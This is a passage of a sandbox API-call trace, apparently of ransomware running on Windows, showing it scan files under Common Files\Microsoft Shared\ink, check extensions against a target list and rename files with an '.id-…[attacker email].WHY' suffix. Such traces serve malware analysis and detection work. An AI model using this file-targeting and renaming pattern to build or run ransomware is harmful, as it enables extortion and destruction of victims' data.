out: lpFileSize=0x302ff1c*=3150) returned 1 [0217.348] CloseHandle (hObject=0x30c) returned 1 [0217.348] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml")) returned 0x20 [0217.348] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0217.348] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0217.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0217.349] lstrlenW (lpString=".doc") returned 4 [0217.349] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0217.349] lstrlenW (lpString=".docx") returned 5 [0217.349] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0217.349] lstrlenW (lpString=".pdf") returned 4 [0217.349] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0217.349] lstrlenW (lpString=".xls") returned 4 [0217.349] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0217.349] lstrlenW (lpString=".xlsx") returned 5 [0217.349] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0217.350] lstrlenW (lpString=".ppt") returned 4 [0217.350] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0217.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0217.350] lstrlenW (lpString=".zip") returned 4 [0217.350] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0217.350] lstrlenW (lpString=".rar") returned 4 [0217.350] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0217.350] lstrlenW (lpString=".bz2") returned 4 [0217.350] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0217.350] lstrlenW (lpString=".7z") returned 3 [0217.350] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0217.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0217.350] lstrlenW (lpString=".dbf") returned 4 [0217.350] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0217.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0217.351] lstrlenW (lpString=".1cd") returned 4 [0217.351] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0217.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0217.351] lstrlenW (lpString=".jpg") returned 4 [0217.351] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0217.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0217.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0217.352] lstrlenW (lpString=".doc") returned 4 [0217.352] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0217.352] lstrlenW (lpString=".docx") returned 5 [0217.353] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0217.353] lstrlenW (lpString=".pdf") returned 4 [0217.353] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0217.353] lstrlenW (lpString=".xls") returned 4 [0217.353] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0217.354] lstrlenW (lpString=".xlsx") returned 5 [0217.354] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0217.354] lstrlenW (lpString=".ppt") returned 4 [0217.354] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0217.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0217.355] lstrlenW (lpString=".zip") returned 4 [0217.355] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0217.355] lstrlenW (lpString=".rar") returned 4 [0217.355] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0217.355] lstrlenW (lpString=".bz2") returned 4 [0217.355] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0217.355] lstrlenW (lpString=".7z") returned 3 [0217.355] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0217.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0217.355] lstrlenW (lpString=".dbf") returned 4 [0217.355] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0217.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0217.355] lstrlenW (lpString=".1cd") returned 4 [0217.356] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0217.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0217.356] lstrlenW (lpString=".jpg") returned 4 [0217.356] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0217.724] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0217.724] lstrlenW (lpString="zh-changjei.xml") returned 15 [0217.724] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0219.207] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=9803) returned 1 [0219.207] CloseHandle (hObject=0x308) returned 1 [0219.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml")) returned 0x20 [0219.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0219.214] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0219.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0219.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0219.215] lstrlenW (lpString=".doc") returned 4 [0219.215] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0219.215] lstrlenW (lpString=".docx") returned 5 [0219.215] lstrcmpiW (lpString1=".docx", lpString2="i.xml") returned -1 [0219.215] lstrlenW (lpString=".pdf") returned 4 [0219.215] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0219.215] lstrlenW (lpString=".xls") returned 4 [0219.215] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0219.215] lstrlenW (lpString=".xlsx") returned 5 [0219.215] lstrcmpiW (lpString1=".xlsx", lpString2="i.xml") returned -1 [0219.215] lstrlenW (lpString=".ppt") returned 4 [0219.215] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0219.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0219.216] lstrlenW (lpString=".zip") returned 4 [0219.216] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0219.216] lstrlenW (lpString=".rar") returned 4 [0219.216] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0219.216] lstrlenW (lpString=".bz2") returned 4 [0219.216] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0219.216] lstrlenW (lpString=".7z") returned 3 [0219.216] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0219.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0219.216] lstrlenW (lpString=".dbf") returned 4 [0219.216] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0219.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0219.216] lstrlenW (lpString=".1cd") returned 4 [0219.216] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0219.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0219.217] lstrlenW (lpString=".jpg") returned 4 [0219.217] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0219.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0219.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0219.217] lstrlenW (lpString=".doc") returned 4 [0219.217] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0219.217] lstrlenW (lpString=".docx") returned 5 [0219.217] lstrcmpiW (lpString1=".docx", lpString2="i.xml") returned -1 [0219.217] lstrlenW (lpString=".pdf") returned 4 [0219.217] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0219.218] lstrlenW (lpString=".xls") returned 4 [0219.218] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0219.218] lstrlenW (lpString=".xlsx") returned 5 [0219.218] lstrcmpiW (lpString1=".xlsx", lpString2="i.xml") returned -1 [0219.218] lstrlenW (lpString=".ppt") returned 4 [0219.218] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0219.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0219.218] lstrlenW (lpString=".zip") returned 4 [0219.218] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0219.218] lstrlenW (lpString=".rar") returned 4 [0219.218] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0219.218] lstrlenW (lpString=".bz2") returned 4 [0219.218] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0219.218] lstrlenW (lpString=".7z") returned 3 [0219.219] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0219.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0219.219] lstrlenW (lpString=".dbf") returned 4 [0219.219] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0219.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0219.219] lstrlenW (lpString=".1cd") returned 4 [0219.219] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0219.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0219.219] lstrlenW (lpString=".jpg") returned 4 [0219.219] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0219.220] lstrcmpiW (lpString1=".dat", lpString2=".WHY") returned -1 [0219.220] lstrlenW (lpString="hwrlatinlm.dat") returned 14 [0219.220] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0219.221] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=1100368) returned 1 [0219.221] CloseHandle (hObject=0x308) returned 1 [0219.222] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat")) returned 0x20 [0219.222] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0219.222] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0219.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0219.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0219.223] lstrlenW (lpString=".doc") returned 4 [0219.223] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0219.223] lstrlenW (lpString=".docx") returned 5 [0219.223] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0219.224] lstrlenW (lpString=".pdf") returned 4 [0219.224] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0219.224] lstrlenW (lpString=".xls") returned 4 [0219.224] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0219.224] lstrlenW (lpString=".xlsx") returned 5 [0219.224] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0219.224] lstrlenW (lpString=".ppt") returned 4 [0219.224] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0219.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0219.224] lstrlenW (lpString=".zip") returned 4 [0219.225] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0219.225] lstrlenW (lpString=".rar") returned 4 [0219.225] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0219.225] lstrlenW (lpString=".bz2") returned 4 [0219.225] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0219.225] lstrlenW (lpString=".7z") returned 3 [0219.225] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0219.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0219.225] lstrlenW (lpString=".dbf") returned 4 [0219.225] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0219.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0219.225] lstrlenW (lpString=".1cd") returned 4 [0219.225] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0219.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0219.226] lstrlenW (lpString=".jpg") returned 4 [0219.226] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0219.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0219.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0219.226] lstrlenW (lpString=".doc") returned 4 [0219.226] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0219.226] lstrlenW (lpString=".docx") returned 5 [0219.226] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0219.226] lstrlenW (lpString=".pdf") returned 4 [0219.226] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0219.226] lstrlenW (lpString=".xls") returned 4 [0219.227] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0219.227] lstrlenW (lpString=".xlsx") returned 5 [0219.227] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0219.227] lstrlenW (lpString=".ppt") returned 4 [0219.227] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0219.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0219.227] lstrlenW (lpString=".zip") returned 4 [0219.227] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0219.227] lstrlenW (lpString=".rar") returned 4 [0219.227] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0219.227] lstrlenW (lpString=".bz2") returned 4 [0219.227] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0219.227] lstrlenW (lpString=".7z") returned 3 [0219.227] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0219.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0219.228] lstrlenW (lpString=".dbf") returned 4 [0219.228] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0219.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0219.228] lstrlenW (lpString=".1cd") returned 4 [0219.228] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0219.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0219.228] lstrlenW (lpString=".jpg") returned 4 [0219.228] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0219.229] lstrcmpiW (lpString1=".dat", lpString2=".WHY") returned -1 [0219.229] lstrlenW (lpString="hwruklm.dat") returned 11 [0219.229] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0219.231] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=3053984) returned 1 [0219.231] CloseHandle (hObject=0x308) returned 1 [0219.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat")) returned 0x20 [0219.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0219.234] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0 [0219.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat") returned 62 [0219.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat") returned 62 [0219.234] lstrlenW (lpString=".doc") returned 4 [0219.234] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0219.234] lstrlenW (lpString=".docx") returned 5 [0219.234] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0219.234] lstrlenW (lpString=".pdf") returned 4 [0219.235] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0219.235] lstrlenW (lpString=".xls") returned 4 [0219.235] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0219.235] lstrlenW (lpString=".xlsx") returned 5 [0219.235] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0219.235] lstrlenW (lpString=".ppt") returned 4 [0219.235] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0219.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat") returned 62 [0219.235] lstrlenW (lpString=".zip") returned 4 [0219.236] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0219.236] lstrlenW (lpString=".rar") returned 4 [0219.236] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0219.236] lstrlenW (lpString=".bz2") returned 4 [0219.236] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0219.236] lstrlenW (lpString=".7z") returned 3 [0219.236] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0219.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat") returned 62 [0219.236] lstrlenW (lpString=".dbf") returned 4 [0219.236] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0219.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat") returned 62 [0219.237] lstrlenW (lpString=".1cd") returned 4 [0219.237] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0219.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat") returned 62 [0219.237] lstrlenW (lpString=".jpg") returned 4 [0219.237] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0219.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat") returned 62 [0219.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat") returned 62 [0219.237] lstrlenW (lpString=".doc") returned 4 [0219.237] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0219.237] lstrlenW (lpString=".docx") returned 5 [0219.237] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0219.237] lstrlenW (lpString=".pdf") returned 4 [0219.238] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0219.238] lstrlenW (lpString=".xls") returned 4 [0219.238] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0219.238] lstrlenW (lpString=".xlsx") returned 5 [0219.238] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0219.238] lstrlenW (lpString=".ppt") returned 4 [0219.238] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0219.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat") returned 62 [0219.238] lstrlenW (lpString=".zip") returned 4 [0219.238] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0219.238] lstrlenW (lpString=".rar") returned 4 [0219.238] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0219.238] lstrlenW (lpString=".bz2") returned 4 [0219.238] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0219.239] lstrlenW (lpString=".7z") returned 3 [0219.239] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0219.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat") returned 62 [0219.239] lstrlenW (lpString=".dbf") returned 4 [0219.239] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0219.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat") returned 62 [0219.239] lstrlenW (lpString=".1cd") returned 4 [0219.239] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0219.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat") returned 62 [0219.239] lstrlenW (lpString=".jpg") returned 4 [0219.239] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0219.240] lstrcmpiW (lpString1=".dat", lpString2=".WHY") returned -1 [0219.240] lstrlenW (lpString="hwruksh.dat") returned 11 [0219.240] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0219.241] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=2227968) returned 1 [0219.242] CloseHandle (hObject=0x308) returned 1 [0219.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat")) returned 0x20 [0219.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0219.244] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0 [0219.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0219.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0219.244] lstrlenW (lpString=".doc") returned 4 [0219.244] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0219.244] lstrlenW (lpString=".docx") returned 5 [0219.245] lstrcmpiW (lpString1=".docx", lpString2="h.dat") returned -1 [0219.245] lstrlenW (lpString=".pdf") returned 4 [0219.245] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0219.245] lstrlenW (lpString=".xls") returned 4 [0219.245] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0219.245] lstrlenW (lpString=".xlsx") returned 5 [0219.245] lstrcmpiW (lpString1=".xlsx", lpString2="h.dat") returned -1 [0219.246] lstrlenW (lpString=".ppt") returned 4 [0219.246] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0219.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0219.246] lstrlenW (lpString=".zip") returned 4 [0219.246] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0219.246] lstrlenW (lpString=".rar") returned 4 [0219.246] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0219.246] lstrlenW (lpString=".bz2") returned 4 [0219.246] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0219.247] lstrlenW (lpString=".7z") returned 3 [0219.247] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0219.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0219.247] lstrlenW 